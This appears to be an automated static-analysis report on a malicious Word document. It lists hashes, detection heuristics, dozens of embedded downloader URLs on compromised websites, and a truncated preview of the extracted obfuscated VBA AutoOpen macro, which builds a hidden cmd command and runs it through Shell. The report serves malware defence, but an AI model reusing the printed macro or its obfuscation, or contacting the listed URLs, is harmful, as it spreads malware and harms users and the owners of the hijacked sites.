Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9b08857a3d6ec179…

MALICIOUS

Office (OLE)

281.4 KB Created: 2018-07-25 09:34:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 2e4044d09e6439f3a155ec1c4c9e55f6 SHA-1: 97c46a0d06c684ec326f5447da78aaa2876d668c SHA-256: 9b08857a3d6ec179d1025821f2fffdd77d901a61820875735dbbd3d798d49c16
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function that uses the Shell command to execute a string. This string is constructed by concatenating various parts, including what appears to be a command-line execution command. The macro's intent is to download and execute a second-stage payload from a remote URL. The presence of a password archive lure heuristic further suggests this document is designed to trick users into enabling macros or providing credentials to access encrypted malicious content.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-6735715-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6735715-0
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 288,164 bytes but its declared streams total only 147,264 bytes — 140,900 bytes (49%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.wordpress.fornodecarnaxide.pt/wp-content/uploads/2017/02/mod_filezipr.php In document text (OLE body)
    • http://www.warsawapartments.biz/test/images/babka_tower/ckrjhw/mod_filezipr.phpIn document text (OLE body)
    • http://www.cacofcayugacounty.org/wp-content/uploads/2016/01/mod_filezipr.phpIn document text (OLE body)
    • http://www.minhhai-exim.com/wp-content/plugins/advanced-custom-fields/core/mod_filezipr.phpIn document text (OLE body)
    • http://www.agro.mocksitetest.com/wp-includes/Text/Diff/Engine/mod_filezipr.phpIn document text (OLE body)
    • http://www.leleh.mocksitetest.com/wp-content/plugins/LayerSlider/helpers/mod_filezipr.phpIn document text (OLE body)
    • http://www.ubergrun.de/wp-content/cache/object/f54/mod_filezipr.phpIn document text (OLE body)
    • http://www.canvasprint.com.ua/components/com_contact/views/featured/mod_filezipr.phpIn document text (OLE body)
    • http://www.vacationsbnb.spiderwebsolve.com/tyoinvur/sotpie/mod_filezipr.phpIn document text (OLE body)
    • http://www.woo.idealcelik.com/wp-content/plugins/wysija-newsletters/add-ons/mod_filezipr.phpIn document text (OLE body)
    • http://www.venatnu.com.br/license/key/3/mod_filezipr.phpIn document text (OLE body)
    • http://www.fimimports.com/.heroku/php/vendor/composer/mod_filezipr.phpIn document text (OLE body)
    • http://www.ill3d.com/1685forum/images/avatars/gallery/ini_mod_filezipr.phpIn document text (OLE body)
    • http://www.maranyairservice.com/plugins/j2store/payment_moneyorder/payment_moneyorder/mod_filezipr.phpIn document text (OLE body)
    • http://www.gobeyondwalls.com/wp-content/themes/twentyfifteen/inc/mod_filezipr.phpIn document text (OLE body)
    • http://www.fitnessyoga.online/wp-content/plugins/mojo-marketplace-wp-plugin/tests/mod_filezipr.phpIn document text (OLE body)
    • http://www.mandawee.af/catalog/language/en-gb/error/mod_filezipr.phpIn document text (OLE body)
    • http://www.diagonalkommunikation.ch/tyoinvur/wtuds/mod_filezipr.phpIn document text (OLE body)
    • http://www.maiga.mmbcku.com/wp-includes/Text/Diff/shells/mod_filezipr.phpIn document text (OLE body)
    • http://www.sabaselefon.ir/wp-includes/js/tinymce/themes/mod_filezipr.phpIn document text (OLE body)
    • http://www.proleer.org/administrator/components/com_contact/helpers/mod_filezipr.phpIn document text (OLE body)
    • http://www.hemico4u.com/wp-content/themes/enfold/js/mod_filezipr.phpIn document text (OLE body)
    • http://www.ywamstalbans.org/wp-content/plugins/qode-instagram-widget/lib/mod_filezipr.phpIn document text (OLE body)
    • http://www.valandstandvard.se/wp-content/plugins/google-sitemap-generator/lang/mod_filezipr.phpIn document text (OLE body)
    • http://www.giftofdivinity.com/INFO/RID6548434ZLTTT/Aug-08-2018-78425073/XJB-DHJVZ/mod_filezipr.phpIn document text (OLE body)
    • http://www.bonnieoconnor.com/wp-content/uploads/2016/05/mod_filezipr.phpIn document text (OLE body)
    • http://www.nibbydomainbuild.co.za/wp-includes/rest-api/fields/resd/mod_filezipr.phpIn document text (OLE body)
    • http://www.technicalbosse.xyz/wp-content/plugins/ninja-forms/services/mod_filezipr.phpIn document text (OLE body)
    • http://www.2014.wireless-meeting.com/wp-content/themes/twentytwelve/css/mod_filezipr.phpIn document text (OLE body)
    • http://www.udesi.phwp-content/uploads/2017/06/mod_filezipr.phpIn document text (OLE body)
    • http://www.startekparts.com/wp-content/uploads/2017/12/mod_filezipr.phpIn document text (OLE body)
    • http://www.usncc.jsswebdev.com/wp-content/themes/jupiter/vendor/mod_filezipr.phpIn document text (OLE body)
    • http://www.beauty-factory.hr/wp-content/bckp/meris/admin/mod_filezipr.phpIn document text (OLE body)
    • http://www.olmrentcar.212dev.com/ognerrte/wtuds/mod_filezipr.phpIn document text (OLE body)
    • http://www.bellink.by/wp-content/plugins/jivosite/admin/mod_filezipr.phpIn document text (OLE body)
    • http://www.mobilehousepiky.com/wp-content/plugins/js_composer/vendor/mod_filezipr.phpIn document text (OLE body)
    • http://www.zhangqiaoxi.com/aspnet_client/system_web/2_0_50727/ini_mod_filezipr.phpIn document text (OLE body)
    • http://www.evol.gymotg.com/wp-content/plugins/bp-registration-options/languages/mod_filezipr.phpIn document text (OLE body)
    • http://www.mattke.biz/wp-includes/js/tinymce/plugins/mod_filezipr.phpIn document text (OLE body)
    • http://www.successbefore25.xyz/wp-content/plugins/akismet/views/mod_filezipr.phpIn document text (OLE body)
    • http://www.ahmedtalat.com/wp-content/plugins/ql-addons/post_types/mod_filezipr.phpIn document text (OLE body)
    • http://www.bolukoruhotels.com/wp-admin/css/colors/coffee/mod_filezipr.phpIn document text (OLE body)
    • http://www.picadelly.com.mx/wp-content/themes/familia/css/ini_mod_filezipr.phpIn document text (OLE body)
    • http://www.hotel.jony.top/wp-content/plugins/woocommerce/i18n/mod_filezipr.phpIn document text (OLE body)
    • http://www.pma.fcrsny.org/images/J6w7IG/temp_4e53c554432a8fd062a4e4a4d891e5d9/ini_mod_filezipr.phpIn document text (OLE body)
    • http://www.shelbourneproperty.mcveighmedia.com/wp-includes/js/tinymce/langs/mod_filezipr.phpIn document text (OLE body)
    • http://www.dev01.project-staging.com/wp-content/plugins/amazon-web-services/view/mod_filezipr.phpIn document text (OLE body)
    • http://www.forell.se/wp-content/uploads/2016/10/mod_filezipr.phpIn document text (OLE body)
    • http://www.jualdompet.xyz/wp-content/themes/sketch/images/mod_filezipr.phpIn document text (OLE body)
    • http://www.bgm.jsswebdev.com/wp-admin/css/colors/midnight/mod_filezipr.phpIn document text (OLE body)
    +1020 more URL(s)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 29723 bytes
SHA-256: 831614cd71219df8270d1591dba916d447de8f28a6c1285cc7561766d30988b2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jovqOBvRlNiVR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   MJjaaH = SrzLBh
   TwYpd = CInt(FjzBj / ZzUKNO * 22030 - hQFSJl)
   uSrnF = 6
wMYIzu = "" + MvMVUIGZN + RzzzQipROnucPw + CVar("cm") + CUhRviLXzwY + DHNLKdV + UIzWwNJL + uTAvWVmp + hQqafY + tSJJEbjfzB + izvaAvGAmP + SOFJuJaEO + ianZnrivkS + vZDKCH + wDMhH + EGjJhOqrk + lUMFX + YYjizjCt + OqCbYKOQaS + RYChw + aNDaSPHasQv + GqfXVKsnm + iWCddKj + SDVHwnicz + lflGdnRMqRY + wCVNHkNZT + YuNliTfZY + HtbXa + bHmVdV + iOOQT + VGQrzww + CKnZks + DdBvD + RqTQibQWN + JdUbOITBWT + iWYrkMLij + zajJrhOX + FEIGUiLKbR + lJHtrLSnmF + SnqSzzuQoU + KjGShTf + ltBbWwG + hlnMJDiBPLq + mdCuwmM + ZIchFfzzm + BhNIuiTAZHiYuw
   XtHEU = 311
   rGjsB = CBool(5)
Shell@ wMYIzu, 0
   aoLiA = Cos(4874)
End Sub


Attribute VB_Name = "YaRCzHvjhlTcHt"
Function UIzWwNJL()
On Error Resume Next
pVACZ = HSdsnf
   mJozl = Tan(QrIbjZ)
oMUAvlYns = "d" + "     " + "   " + "       " + "/c       "
LJOfVD = CBool(501)
PwqWjj = "  " + "      C" + "Md  /v:   " + "   /" + "c" + "  " + CStr(Chr(sViAWzlZ + owfLcccnOWbdLQ + 34 + BRiakHGuVF + TaqdscXLms)) + " sEt  " + " '{@]"
zbzwN = Sin(SzkGU)
   wWDfN = 816
   bWLVN = CLng(60)
nQwiJw = "=\_\_" + "---/-\_\/"
zFRjV = 233439149
   PZliT = 3364
WNzQnYIZrOs = "_/ /"
ktzHvh = 40
   qikYm = Rnd(32873 * XErOo * 94395 + wKvFzb)
   orFUhB = UuTJw
knGAXnff = "/\_" + "-" + "_-\\" + "\"
UIzWwNJL = oMUAvlYns + PwqWjj + nQwiJw + WNzQnYIZrOs + knGAXnff
   ODYll = Rnd(62815 * 24518)
   uFica = Tan(NHjlzq + SRjCMk)
   iBrUaB = CDate(qjkjz)
End Function
Function uTAvWVmp()
On Error Resume Next
KJzJRNGo = "--/__"
HCfdb = CLng(96462 - hBquj * 69058 / bRoPDH)
   lqajYs = Log(5)
   rMPEmI = jGQABQ
FtOqDwjuOr = " -/" + "_/_\-" + "\" + "--\//_\ " + "\" + "//_-\-_\/" + "_-/-\ -\_\"
QQlFa = Rnd(95)
   IfuhSd = CBool(OtibiN)
mcmDFYXVjwZ = "-/-_//\_-" + "_/ \/_/" + "//_\" + "_-" + "--_-\ /\_-" + "_-_/--"
jlMsO = Chr(24655 * sqlYiP)
   IwZZV = jsiwY
   PFiwM = Hex(2)
FZYqdYjvCH = "\_/\\" + " \-\\/" + "/" + "_" + "_/-/"
ofdkNz = 4
   vzQWSL = GkdCDl
pMkiUDCXpaC = "-_" + "\- \/" + "\/_\/_-" + "\/-__- -_" + "-\/\"
QnDtiw = UUtuoI
QVvoMvFaUpA = "\_-_" + "///\- " + "//-_" + "_--\_-\/" + "/_\"
uTAvWVmp = KJzJRNGo + FtOqDwjuOr + mcmDFYXVjwZ + FZYqdYjvCH + pMkiUDCXpaC + QVvoMvFaUpA
   GBOvXR = vztQvH
End Function
Function hQqafY()
On Error Resume Next
EjTjGH = Oct(SiPzAH)
   fvNMrf = Sgn(7)
   XdFiH = CByte(cnnhj)
zPFaFT = " -" + "-" + "_\_///-" + "\\-\/_ _/-" + "\\-\/\-_/-"
GIaQaHS = "__ --_//__" + "--_/\\\" + "\ -\/_\"
OruhHWmjOv = "-/_\" + "/-\/-_" + " _/-/\\"
MNlEY = WaQFCw
   SVDYa = Cos(pivFv / zPAAF + tNGdAJ - HsUWAK)
QHVfjmqmKU = "\" + "/-_" + "_/\-- --\" + "/-//" + "\/\_\-__ -"
HzQSM = "-/\___/\//" + "\_\-}\\/-_" + "_/-_//_\\"
MMmiXQ = CStr(oVujS)
TSEizDTmBE = "-"
hQqafY = zPFaFT + GIaQaHS + OruhHWmjOv + QHVfjmqmKU + HzQSM + TSEizDTmBE
   uuHKl = 856
End Function
Function tSJJEbjfzB()
On Error Resume Next
UZMIK = CDbl(7)
   hFWnpY = 9052
CPmQviWiwz = "}\\/" + "/_\\" + "_-" + "-_/--_{_"
YZbAmp = Sqr(OjkOpV)
   lLZPJ = Tan(YHEFKH + NwiwQE / BcLPYi - sCNBf)
ljWAJQbAmzq = "-//" + "__-\/\" + "--/\\h_/\" + "/_/\-" + "/" + "\-_--_c_"
blqOvduv = "\_" + "/\/-\--"
LuJzPI = Log(20)
FWVOUMU = "/" + "\/-_t//" + "_\--\_/" + "/\--\_a" + "\-_\\__-" + "-/-"
tSJJEbjfzB = CPmQviWiwz + ljWAJQbAmzq + blqOvduv + FWVOUMU
   EPUBH = VcQZS
   ajjErE = Int(owoWCv * PzmtbB)
End Function
Function izvaAvGAmP()
On Error Resume Next
AJsfj = 42
EutHi = "///\c/-\_/" + "-_\_\/_" + "-/-}/\_/\" + "\___-/--\-" + ";_-/_--" + "//\\-/" + "\\_k\_/-"
pvpiD = "_" + "\//" + "_-_-\\/a-" + "\/\/_" + "-/-\" + "-\_/" + "_e-_\_-"
GfPQu = CBool(cPYII)
SkWYMjjKpT = "\-/_/\" + "//-\r-//" + "_\_\_\-_-/" + "/\b--\_//" + "\-_//\__-" + ";//\/\-_-" + "\\/_-_-h"
wknSG = Hex(cBvShr / IplrbU)
  
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.